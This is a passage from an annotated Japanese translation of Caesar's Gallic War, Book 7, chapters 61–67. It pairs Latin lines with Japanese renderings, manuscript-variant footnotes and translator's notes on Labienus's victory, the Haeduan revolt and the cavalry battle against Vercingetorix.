**（船を漕ぐ）櫂の音が同じ方面で聞き取られたこと、
*et paulo infra milites navibus transportari. 
**少し下流で兵士たちが船で（セクアナ川を）渡されたこと、である。
*④　Quibus rebus auditis, 
**それらの事態が聞かれて、
*quod existimabant tribus locis transire legiones atque omnes perturbatos defectione [[w:la:Haedui|Haeduorum]] fugam parare, 
**（ローマ勢の）諸軍団が3か所で渡河したこと、[[w:ハエドゥイ族|ハエドゥイー族]]の背反により総勢が取り乱して逃亡を準備していること、を考えたので、
*suas quoque copias in tres partes distribuerunt. 
**自分たちの軍勢をも3方面に分配した。
*⑤　Nam praesidio e regione castrorum relicto 
**すなわち（一隊がローマ勢の）陣営の真向かいに守備隊として残され、
*et parva manu Metlosedum&lt;ref&gt;Metlosedum はQ写本の記述で、χ系･β系写本では Metiosedum 、などとなっている。&lt;/ref&gt; versus missa, 
**（別の）わずかな手勢が[[w:ムラン|メトロセドゥム]]の方面へ派遣され、
*quae tantum progrediatur&lt;ref&gt;progrediatur はα系写本の記述で、Q･S･β系写本では progrederetur となっている。&lt;/ref&gt;, quantum naves processissent, 
**（ローマ勢の）船団が進み出るだけ、（ガッリア兵も）前進するようにした。
*reliquas copias contra Labienum duxerunt.
**残りを軍勢をラビエーヌスに対して（カムロゲヌス自身が）率いて行った。

===62節===
'''ラビエーヌスがカムロゲヌス麾下のガッリア勢を各個撃破して、カエサルと合流'''
*①　Prima luce et nostri omnes erant transportati 
**夜明けに、我が方（ローマ勢）は総勢が（セクアナ川の左岸に）渡されていたし、
*et hostium acies cernebatur. 
**敵方の戦列も見分けられた。
*②　[[w:la:Titus Labienus|Labienus]] milites cohortatus, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は兵士たちを（以下のように）鼓舞した。
*ut suae pristinae virtutis et tot&lt;ref&gt;tot はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; secundissimorum proeliorum retinerent memoriam&lt;ref&gt;retinerent memoriam はχ系･B･M･L･N写本の記述で、S･β系写本では memoriam retinerent となっている。&lt;/ref&gt; 
**自分たちのかつての武勇とこのようにとてもうまくいっている諸戦闘を記憶に留めるように、
*atque ipsum Caesarem, cuius ductu saepe numero hostes superassent, praesentem adesse existimarent, 
**かつ、その指揮によって何度もしばしば敵方を打ち破って来たカエサル当人が目下居合わせていると考えるように、と。
*dat signum proelii. 
**（それから）戦闘の号令を発した。
*③　Primo concursu ab dextro cornu, ubi septima legio constiterat, 
**最初の激突は、[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が布陣していた（ローマ軍の）右翼からで、
*hostes pelluntur atque in fugam coniciuntur; 
**敵方は撃退されて、逃亡に追いやられた。
*④　ab sinistro, quem locum duodecima legio tenebat, 
**第12軍団が場所を占めていた左翼からは、
*cum primi ordines hostium transfixi pilis&lt;ref&gt;pilis はβ系写本の記述で、α系写本では telis となっている。&lt;/ref&gt; concidissent, 
**敵方の最前列（の兵たち）が投げ槍で突き通されて斃れたのだが、
*tamen acerrime reliqui resistebant 
**けれども残りの者たちがとても激烈に抵抗していて、
*nec dabat suspicionem fugae quisquam. 
**誰も逃亡の予兆を示さなかった。
*⑤　Ipse dux hostium Camulogenus suis aderat atque eos cohortabatur. 
**敵方の将帥カムロゲヌス自身は、麾下の者たちに居合わせて、彼らを激励していた。
*⑥　At&lt;ref&gt;cohortabatur. At はχ系写本などの記述で、別の写本では記述が異なる。&lt;/ref&gt; incerto nunc etiam&lt;ref&gt;nunc etiam はB･M･L･N写本の記述で、χ系･S･β系写本では etiamnunc となっている。&lt;/ref&gt; exitu victoriae, 
**勝敗の帰趨は今もなお不確実だったが、
*cum septimae legionis tribunis esset nuntiatum, quae in sinistro cornu gererentur, 
**第7軍団の&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、左翼で&lt;ruby&gt;&lt;rb&gt;出来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅったい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;したことが報告されたときに、
*post tergum hostium legionem ostenderunt signaque intulerunt. 
**敵方の背後に（第7）軍団を差し向けて、軍旗を進めた（＝進撃した）。
*⑦　Ne eo quidem tempore quisquam loco cessit, 
**その時でさえ、（ガッリア勢の）誰も（戦闘の）場から退却しなかった
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*sed circumventi omnes interfectique sunt. 
**けれども、総勢が包囲されて（ローマ軍により）殺戮された。
*Eandem fortunam tulit Camulogenus. 
**同じ不幸をカムロゲヌスも蒙った。
*⑧　At ii&lt;ref&gt;ii はχ系写本の記述で、他の写本では記述が異なる。&lt;/ref&gt;, qui praesidio contra castra Labieni erant relicti, 
**これに対して、ラビエーヌスの陣営に対して守備隊として残されていた（ガッリア勢の）者たちは、
*cum proelium commissum audissent, subsidio suis ierunt collemque ceperunt, 
**（両軍が）戦闘を交えているのを聞き付けたので、味方の援兵として出て行って、丘陵を占めていたが、
*neque nostrorum militum victorum impetum sustinere potuerunt. 
**勝勢の我が方（ローマ軍）の兵士たちの突撃を持ちこたえることができなかった。
*⑨　Sic cum suis fugientibus permixti, 
**このようにして、敗走している味方と混じり合ったときに、
*quos non silvae montesque texerunt, ab equitatu sunt interfecti. 
**森林や山岳が覆い隠すことのなかったその者たちは、（ローマ側の）騎兵隊によって殺戮された。
*⑩　Hoc negotio confecto Labienus revertitur Agedincum, 
**この戦役が成し遂げられると、ラビエーヌスは[[w:サンス|アゲディンクム]]に引き返した。
*ubi impedimenta totius exercitus relicta erant; 
**そこには軍隊全体の[[w:輜重|輜重]]が残されていたのだ。
*inde die Ⅲ.&lt;ref&gt;inde die Ⅲ. は近代の校訂者による修正提案で、Q･M･S･N･β系写本では単に inde 、他の写本では別の記述になっている。&lt;/ref&gt; cum omnibus copiis ad Caesarem pervenit.
**そこから3日目（＝2日後）にすべての軍勢とともにカエサルのところへ到着した。

==ガッリア戦乱の拡大==
===63節===
'''ハエドゥイー族がウェルキンゲトリークスに主導権争いを挑む'''
*①　Defectione [[w:la:Haedui|Haeduorum]] cognita bellum augetur. 
**[[w:ハエドゥイ族|ハエドゥイー族]]の背反が知られて、戦乱は拡大された。
*②　Legationes in omnes partes circummittuntur; 
**（ハエドゥイー族らにより）使節たちがあらゆる方面に遣わされまくり、
*quantum gratia, auctoritate, pecunia valent, ad sollicitandas civitates nituntur; 
**信望、勢力や金銭によってできる限り、諸部族をそそのかすことに努めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quantum ～ valere「～によってできる限り」）&lt;/span&gt;
*③　nacti obsides, quos Caesar apud eos deposuerat,  
**カエサルが彼ら（ハエドゥイー族）のもとに預けて置いた人質たちを手に入れて、
*horum supplicio dubitantes territant.
**彼ら（人質たち）の処刑（を示唆すること）によって、決心がつかぬ者たちを恐れさせた。
*④　Petunt a [[w:la:Vercingetorix|Vercingetorige]] Haedui, ut ad se veniat rationesque belli gerendi communicet; 
**ハエドゥイー族は、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に、自分たちのところへ来て戦争遂行の戦略を協議するように要求した。
*re impetrata contendunt, ut ipsis summa imperii tradatur. 
**その事が成し遂げられると、（ハエドゥイー族）自身に最高司令権が委ねられるように頑張った。
*Et re&lt;ref&gt;et re は近代の校訂者による修正提案で、β系写本では re 、α系写本では et rem となっている。&lt;/ref&gt; in controversiam deducta totius Galliae concilium [[w:la:Bibracte|Bibracte]] indicitur. 
**その事が論争の状態に置かれて、[[w:ビブラクテ|ビブラクテ]]でのガッリア全体の会合が公示された。
*Eodem conveniunt&lt;ref&gt;Eodem conveniunt はα系写本の記述で、β系写本では単に conveniunt 、etc.となっている。&lt;/ref&gt; undique frequentes. 
**同じところに至る所からたくさんの者たちが集まって来た。
*⑥　Multitudinis suffragiis res permittitur; 
**（最高司令権の）事は衆人の票決に任せられて、
*ad unum omnes Vercingetorigem probant imperatorem. 
**衆議一決により、ウェルキンゲトリークスを将軍（最高司令官）として承認した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ad unum omnes「最後の一人に至るまですべて」）&lt;/span&gt;
*⑦　Ab hoc concilio Remi, Lingones, Treveri afuerunt, 
**この会合へは、[[w:レミ族|レーミー族]]、リンゴネス族、トレウェリ族が不在であった。
*illi quod amicitiam Romanorum sequebantur, 
**前者（レーミー族とリンゴネス族）は、ローマ人との友好を遵守したので（不在であった）。
*Treveri quod aberant longius et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; [[w:la:Germani|Germanis]] premebantur, 
**トレウェリ族は、はるか遠くに離れており、[[w:ゲルマニア|ゲルマニア]]人により圧迫されていた。
*quae fuit causa quare toto abessent bello 
**それが、何ゆえに（ウェルキンゲトリークスによる）戦争全体に関与しなかったかの理由であり、
*et neutris auxilia mitterent. 
**（ウェルキンゲトリークスとカエサルの）どちら側にも援軍を派遣しなかった。
*⑧　Magno dolore Haedui ferunt se deiectos principatu, 
**ハエドゥイー族は、自分たちが盟主の座から遠ざけられて、とても憤懣やるかたなかったし、
*queruntur fortunae commutationem 
**境遇の変わりようを嘆いて、
*et Caesaris indulgentiam in se&lt;ref&gt;indulgentiam in se はα系写本の記述で、β系写本では in se indulgentiam となっている。&lt;/ref&gt; requirunt 
**カエサルの自分たちへの寛大さを惜しんだ。
*neque tamen suscepto bello suum consilium ab reliquis separare audent. 
**けれども戦争を引き受けてしまったので、あえて自分たちの作戦計画をほか（の諸部族）と異にしなかった。
*⑨　Inviti summae spei adulescentes Eporedorix et Viridomarus Vercingetorigi parent.
**たいへんな野心を持つ青年たち[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]は、意に反してウェルキンゲトリークスに服従した。

===64節===
'''ウェルキンゲトリークスがガッリア諸部族の誘降・服従を謀る'''
*①　Ipse&lt;ref&gt;ipse はα系写本の記述で、β系写本では ille となっている。&lt;/ref&gt; imperat reliquis civitatibus obsides denique ei rei constituit diem; 
**（ウェルキンゲトリークス）自身は、ほかの諸部族に人質（の供出）を命令して、のみならずその事の期日を決めた。
*huc omnes equites, [[wikt:la:quindecim|XV(quindecim)]] milia numero, celeriter convenire iubet. 
**そこに、1万5000名の数のすべての[[w:騎兵|騎兵]]に、速やかに集結することを命じた。
*②　Peditatu quem antea habuerit se fore contentum dicit 
**（歩兵については）自分は、以前から持っていた[[w:歩兵|歩兵隊]]で満足するであろうと言った。
*neque fortunam temptaturum aut in acie&lt;ref&gt;in acie はα系写本の記述で、β系写本では単に acie となっている。&lt;/ref&gt; dimicaturum, 
**（歩兵で）武運を試すことはしないであろうし、あるいは野戦で（白兵戦を）闘うこともないであろう、と。
*sed quoniam abundet equitatu, 
**しかし、騎兵隊は豊富であるから、
*perfacile esse factu frumentationibus pabulationibusque Romanos prohibere; 
**ローマ人たちの糧食・糧秣徴発を妨げることは、とても容易である、と。
*③　aequo modo animo sua ipsi frumenta corrumpant aedificiaque incendant, 
**ただ平静な心で、自分たちの穀物を自身で傷めて、（穀物の）建屋を焼打ちするように。
*qua rei familiaris iactura perpetuum imperium libertatemque se consequi videant. 
**資産の犠牲により、永久の領有権と自由を自分たちが獲得することを思え、と。
*④　His constitutis rebus 
**これらの事が決定されると、
*[[w:la:Haedui|Haeduis]] Segusiavisque, qui sunt finitimi provinciae, decem milia peditum imperat; 
**[[w:ハエドゥイ族|ハエドゥイー族]]および（ローマ人の）属州に隣接するセグスィアウィ族には1万の歩兵（の供出）を命令していたが、
*huc addit equites [[wikt:la:octingenti|octingentos]]. 
**この中に、800騎の騎兵たち（の供出）を付け加えた。
*⑤　His praeficit fratrem Eporedorigis bellumque inferri&lt;ref&gt;inferri はα系写本の記述で、β系写本では inferre となっている。&lt;/ref&gt; Allobrogibus iubet. 
**彼らをエポレドリクスの兄弟に指揮させて、アッロブロゲス族に戦争をしかけることを命じた。
*⑥　Altera ex parte Gabalos proximosque &lt;u&gt;[[wikt:en:pagus#Latin|pagos]]&lt;/u&gt; Arvernorum in Helvios, 
**別の方面から、ガバリ族および近隣のアルウェルニー族の諸&lt;u&gt;郷&lt;/u&gt;に、ヘルウィイ族のところに（攻め入るように）、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''pagus'' (郷) はここでは、部族の領土の農村区画を指す行政用語&lt;ref name=&quot;pagus&quot;&gt;''[[w:en:Pagus]]'' 等を参照。&lt;/ref&gt;。）&lt;/span&gt;
*item Rutenos Cadurcosque ad fines Volcarum Arecomicorum depopulandos mittit. 
**同様に、ルテーニー族およびカドゥルキー族に、ウォルカエ・アレコミキ族の領土を荒らしまわるべく派遣した。
*⑦　Nihilo minus clandestinis nuntiis legationibusque Allobrogas&lt;ref&gt;Allobrogas はα系写本の記述で、β系写本では Allobroges となっている。&lt;/ref&gt; sollicitat, 
**それにもかかわらず、隠密に伝令たちや使節たちにより、アッロブロゲス族を（蜂起を）そそのかした。
*quorum mentes nondum ab&lt;ref&gt;ab はβ系写本の記述で、α系写本では ab となっている。&lt;/ref&gt; superiore bello resedisse sperabat. 
**彼ら（アッロブロゲス族）の心がかつての戦争からまだ静まっていないことを期待したのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アッロブロゲス族は、BC61年にローマに反旗を翻し、翌BC60年に鎮圧されていた。[[ガリア戦記 第1巻#6節|第1巻6節]]を参照。）&lt;/span&gt;
*⑧　Horum principibus pecunias, 
**彼らの領袖たちに金銭を（約束し）、
*civitati autem imperium totius provinciae pollicetur.
**さらに部族には（カエサル統治下の）属州全体の支配権をも約束したのだ。

===65節===
'''カエサルと同盟諸部族の防戦。ゲルマニア騎兵を呼び寄せる'''
*①　Ad hos omnes casus provisa erant praesidia cohortium duarum et viginti, 
**これらすべての出来事に対して、（カエサルは）22個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からなる守備隊を用意していた。
*quae ex ipsa coacta&lt;ref&gt;coacta はχ系･β系写本の記述で、φ系写本にはない。&lt;/ref&gt; provincia ab L.(Lucio) Caesare legato 
**それらは、&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・カエサルによって属州全体から徴集されたもので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう属州とは、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]を指すと思われる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ルキウス・ユリウス・カエサル4世 [[w:en:Lucius Julius Caesar IV|Lucius Julius Caesar IV]] は本書の著者カエサルと4代前の高祖父を共有する元執政官。[[w:en:Julii Caesares|Julii Caesares]] を参照。）&lt;/span&gt;
*ad omnes partes opponebantur. 
**あらゆる方面に対して配置された。
*②　Helvii sua sponte cum finitimis proelio congressi pelluntur 
**[[w:ヘルウィイ族|ヘルウィイ族]]は、自分たちの意思により、近隣（の諸部族）と戦闘で争って撃退され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この部族については[[#7節|7節]]～8節を参照。）&lt;/span&gt;
*et C.(Gaio) Valerio Domnotauro&lt;ref&gt;Domnotauro はS･L･N写本の記述で、A･B･N写本では Donnotauro 、χ系･π系写本では Donotauro となっており、ρ系写本には記述がない。&lt;/ref&gt;, Caburi filio, principe civitatis, 
**カブルスの息子で、部族の領袖であるガイウス・ウァレリウス・ドムノタウルス
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：彼は、ローマとの友好により、ローマ人風の名前を与えられていたのであろう。）&lt;/span&gt;
*compluribusque aliis interfectis intra oppida ac muros&lt;ref&gt;ac muros はα系写本の記述で、β系写本では murosque となっている。&lt;/ref&gt; compelluntur. 
**および他のかなりの者たちが殺戮されて、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と城壁の内側に追い込まれた。
*③　Allobroges crebris ad [[w:la:Rhodanus|Rhodanum]] dispositis praesidiis 
**[[w:アッロブロゲス族|アッロブロゲス族]]は、ロダヌス（＝現[[w:ローヌ川|ローヌ川]]）のところへ密に守備隊を分け置いて、
*magna cum cura et diligentia suos fines tuentur. 
**たいへんな注意と入念さにより、自分たちの領土を守った。
*④　Caesar quod hostes equitatu superiores esse intellegebat 
**カエサルは、敵方が[[w:騎兵|騎兵隊]]で（自軍より）優っていると認識していたので、
*et interclusis omnibus itineribus nulla re ex provincia atque Italia sublevari poterat, 
**かつ、すべての道が遮られて、属州やイタリアから何ら支援されることができなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州 provincia とはガッリア・トラーンサルピーナ、イタリア Italia とは[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことであろう。）&lt;/span&gt;
*trans [[w:la:Rhenus|Rhenum]] in [[wikt:la:Germania|Germaniam]] mittit ad eas civitates, quas superioribus annis pacaverat, 
**レヌス（＝現[[w:ライン川|ライン川]]）の向こう側の[[w:ゲルマニア|ゲルマニア]]に、先年に平定していた諸部族のところへ（使節を）遣わした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア遠征や平定については、[[ガリア戦記 第4巻#16節|第4巻16節]]～19節、[[ガリア戦記 第6巻#9節|第6巻9節]]～10節を参照。）&lt;/span&gt;
*equitesque ab his arcessit et levis armaturae pedites, 
**彼らから、騎兵たち、および[[w:ウェリテス|軽い武装の歩兵]]たちを呼び寄せた。
*qui inter eos proeliari consuerant. 
**その者ら（軽装歩兵）は、彼ら（騎兵）の間で戦闘することが常であったのだ。
*⑤　Eorum adventu, quod minus idoneis equis utebantur, 
**彼ら（ゲルマニア騎兵）が到着すると、（戦闘に）あまり適していない馬を使役していたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア人の馬の使用については、[[ガリア戦記 第4巻#2節|第4巻2節]]を参照。）&lt;/span&gt;
*a tribunis militum reliquisque equitibus Romanis atque evocatis equos sumit 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちやほかのローマ人騎士たちや&lt;ruby&gt;&lt;rb&gt;再徴集兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;エウォカティ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちから、馬匹を取り上げて、
*[[w:la:Germani|Germanis]]que distribuit.
**ゲルマニア人たちに分配した。

===66節===
'''属州へと南下するカエサル、迎え撃とうとするウェルキンゲトリークス'''
*①　Interea dum haec geruntur, 
**その間に、これらが出来している間に、
*hostium copiae ex Arvernis 
**敵方の（歩兵の）軍勢が（滞陣していたゲルゴウィアの）[[w:アルウェルニ族|アルウェルニー族]]のところから、
*equitesque qui toti Galliae erant imperati conveniunt. 
**および全ガッリアの命令されていた[[w:騎兵|騎兵]]たちが、（ウェルキンゲトリークスのところに）集結して来た。
*②　Magno horum coacto numero, 
**これらの（ガッリア兵の）多数が徴集されて、
*cum Caesar in Sequanos per extremos Lingonum fines iter faceret, 
**カエサルが、[[w:セクアニ族|セクアニ族]]のところに（向かって）[[w:リンゴネス族|リンゴネス族]]の領土の外縁を通って行軍していたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州へは、リンゴネス族と後述のマンドゥビイ族の間を通ってセクアニ族領を通らねばならなかった。）&lt;/span&gt;
*quo facilius subsidium provinciae ferri&lt;ref&gt;ferri はα系写本の記述で、β系写本では ferre となっている。&lt;/ref&gt; posset, 
**（それは）属州（ガッリア・トラーンサルピーナ）に援兵をより容易にもたらせるようにするためであったが、
*circiter milia passuum X(decem) ab Romanis trinis castris [[w:la:Vercingetorix|Vercingetorix]] consedit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちから約10ローママイル（15km）のところに、3つの陣営にて陣取った。
*③　convocatisque ad concilium praefectis equitum 
**（ウェルキンゲトリークスは）騎兵の指揮官たちを会合へ召集して、
*venisse tempus victoriae demonstrat; 
**勝利の時が来たと、明言した。
*fugere in provinciam Romanos Galliaque excedere. 
**ローマ人たちは属州に逃亡して、ガッリアから立ち退きつつある、と。
*④　Id sibi ad praesentem obtinendam libertatem satis esse; 
**それは、自分たちにとって目下のところ、自由を維持するためには十分であるが、
*ad reliqui temporis pacem atque otium parum profici; 
**将来の平和と平穏は不充分にしか得られない。
*maioribus enim coactis copiis reversuros 
**なぜなら（ローマ人たちは）より大きな軍勢を徴集して（ガッリアに）戻って来るであろうし、
*neque finem bellandi facturos. 
**戦争することに結末をつけることはないであろう。
*Proinde agmine impeditos adorirentur&lt;ref&gt;adorirentur はA･β系写本の記述で、M･L･N写本では adoriantur 、S写本では adorantur 、Q･B･M写本ではadorientur となっている。&lt;/ref&gt;. 
**それゆえに、（ローマ勢の）行軍によって重荷となっている（輜重隊の）者たちを襲撃するのだ。
*⑤　Si pedites suis auxilium ferant atque in eo morentur, iter facere&lt;ref&gt;facere はα系写本の記述で、β系写本では confici となっている。&lt;/ref&gt; non posse; 
**もし（ローマ勢の）歩兵たちが味方を支援し、そのことで滞留するならば、（属州へ）行軍することはできない。
*si ─id quod magis futurum confidat─ 
**もし、─（我は）むしろそうなるであろうと期待することであるが─
*relictis impedimentis suae saluti consulant, 
**（ローマ歩兵たちが）[[w:輜重|輜重]]を残して、自分たちの身の安全に意を用いるならば、
*et usu rerum necessariarum et dignitate spoliatum iri. 
**必需品の使用や（ローマ人としての）品格をはぎ取られることになる。
*⑥　Nam de equitibus hostium, 
**なぜなら、敵方の騎兵については
**&lt;span style=&quot;color:#009900;&quot;&gt;:（訳注：著者カエサルはここでは、間接話法でありながら、ローマ勢について hostium「敵方の」と表現している。）&lt;/span&gt;
*quin nemo eorum progredi modo extra agmen audeat, 
**彼ら（ローマ騎兵）のうち誰も、&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の外にすら、あえて進み出ようとしないこと、
*et ipsos quidem non&lt;ref&gt;et ipsos quidem non はα系写本の記述で、β系写本では ne ipsos quidem となっている。&lt;/ref&gt; debere dubitare. 
**（そのことを、諸君ら）自身は決して疑念を持つことなかれ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*Id quo maiore faciant animo, 
**それ（＝輜重隊への襲撃）を、より大胆な心構えで実行してもらうために、
*copias se omnes pro castris habiturum et terrori hostibus futurum. 
**自分（ウェルキンゲトリークス）が軍勢すべてを陣営の前に保持しておくであろうし、敵方の心胆を寒からしめるであろう。
*⑦　Conclamant equites 
**（ガッリア勢の）騎兵たちは（以下のように）叫んだ。
*sanctissimo iure iurando confirmari oportere, 
**最も神聖な誓約によって確証されなければならぬ。
*ne tecto recipiatur, ne ad liberos, ne ad parentes, ad&lt;ref&gt;ne ad …, ne ad …, ad が写本(ω)の記述であるが、モイゼル Meusel は ne ad …, ad …, ad と修正提案をしている。&lt;/ref&gt; uxorem aditum habeat, 
**（以下の者は）家に迎え入れられたり、子供たちや親たちや妻女たちのところへ近づくことがないように。
*qui non bis per agmen hostium perequitasset&lt;ref&gt;perequitasset はα系写本の記述で、β系写本では perequitarit となっている。&lt;/ref&gt;.
**敵方（ローマ勢）の隊列を越えて（往復の）2度、騎馬で駆け抜けることがなかった者は。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：敵中突破と生還を成し遂げなかった騎兵は、復員してはならない、と誓約したのである。）&lt;/span&gt;

===67節===
'''カエサル麾下のゲルマニア騎兵がウェルキンゲトリークスを一蹴'''
*①　Probata re atque omnibus iure iurando adactis 
**これが賛同されて、（ガッリア騎兵の）皆が誓約させられて、
*postero die in tres partes distributo equitatu 
**翌日に、[[w:騎兵|騎兵隊]]を3つの分隊に分配した。
*duae se acies ab duobus lateribus ostendunt, 
**2隊は（ローマ勢の左右）2つの側面から&lt;ruby&gt;&lt;rb&gt;戦闘隊形&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アキエス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として現われた。
*una a&lt;ref&gt;a はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; primo agmine iter impedire coepit. 
**1隊は（ローマ勢の）前衛から行軍を妨げ始めた。
*②　Qua re nuntiata 
**その事が報告されて、
*Caesar suum quoque equitatum tripertito divisum contra hostem ire iubet. 
**カエサルは麾下の騎兵隊おのおのを3つに配分して、敵に対して向かって行くことを命じた。
*Pugnatur una omnibus in partibus. 
**（騎兵戦が）同時にすべての方面で戦われた。
*③　Consistit agmen; 
**（ローマ勢の）&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は一歩も引かなかった。
*impedimenta intra legiones recipiuntur. 
**[[w:輜重|輜重]]は諸[[w:ローマ軍団|軍団]]の内側に後退した。
*④　Si qua in parte nostri laborare aut gravius premi videbantur, 
**もし、我が方（ローマ勢）のある部隊が苦戦したり、またはひどく押されぎみだと思われたならば、
*eo signa inferri Caesar aciemque constitui&lt;ref&gt;constitui はα系写本の記述で、β系写本では converti 、T写本では conferri となっている。&lt;/ref&gt; iubebat; 
**カエサルはそこに進撃して戦列を組織することを命じた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：signa inferre「軍旗を進める、進撃する」）&lt;/span&gt;
*quae res et hostes ad insequendum tardabat et nostros spe auxilii confirmabat. 
**その事が、敵方が追撃して来るのを遅らせもしたし、我が方が支援の希望により元気付けられもした。
*⑤　Tandem Germani ab dextro latere summum iugum nacti hostes loco depellunt, 
**ついに、ゲルマニア人（騎兵）たちが右の側面から尾根の頂きを掌握して、敵方をその場から追いやった。
*fugientes usque ad flumen, 
**逃亡する（ガッリア騎兵の）者たちを川の辺りまで（追って）、
*ubi [[w:la:Vercingetorix|Vercingetorix]] cum pedestribus copiis consederat, 
**そこには[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が[[w:歩兵|歩兵]]の軍勢とともに陣取っていたのだが、
*persecuntur&lt;ref&gt;persecuntur はα系写本の記述で、β系写本では persequuntur となっている。&lt;/ref&gt; compluresque interficiunt. 
**（ゲルマニア騎兵が敵を川辺まで）追撃して、かなりの者たちを殺戮した。
*⑥　Qua re animadversa 
**その事が（敵方に）気付かれて、
*reliqui ne circumirentur&lt;ref&gt;circumirentur はA･φ系写本の記述で、Q･β系写本では circumvenirentur となっている。&lt;/ref&gt; veriti se fugae mandant. 
**（ガッリア勢の）残りの者たちは、包囲されないようにと怖れて、逃亡に身を任せた。
*Omnibus locis fit caedes. 
**（こうしてローマ方により）あらゆる場所で虐殺が行なわれた。
*⑦　Tres nobilissimi [[w:la:Haedui|Haedui]] capti ad Caesarem perducuntur: 
**[[w:ハエドゥイ族|ハエドゥイー族]]の3人の高位の貴族が捕らえられて、カエサルのところへ連行されて来た。
*Cotus, praefectus equitum, qui controversiam cum Convictolitavi proximis comitiis habuerat, 
**コトゥスは騎兵指揮官で、最近の会議でコンウィクトリタウィスと（統領の座をめぐって）係争した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*et Cavarillus, qui post defectionem Litavicci pedestribus copiis praefuerat, 
**カウァリッルスは、リタウィックスの背反の後に、歩兵の軍勢を指揮していた。
*et Eporedorix, quo duce ante adventum Caesaris Haedui cum Sequanis bello contenderant.
**エポレドリクスは、カエサルの到来以前にハエドゥイー族の将帥としてセクアニ族と戦争を闘っていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この人物は、ウィリドマルスとともにカエサルを裏切ったエポレドリクスとは同名異人である。）&lt;/span&gt;

==アレスィア攻囲戦==
===68節===
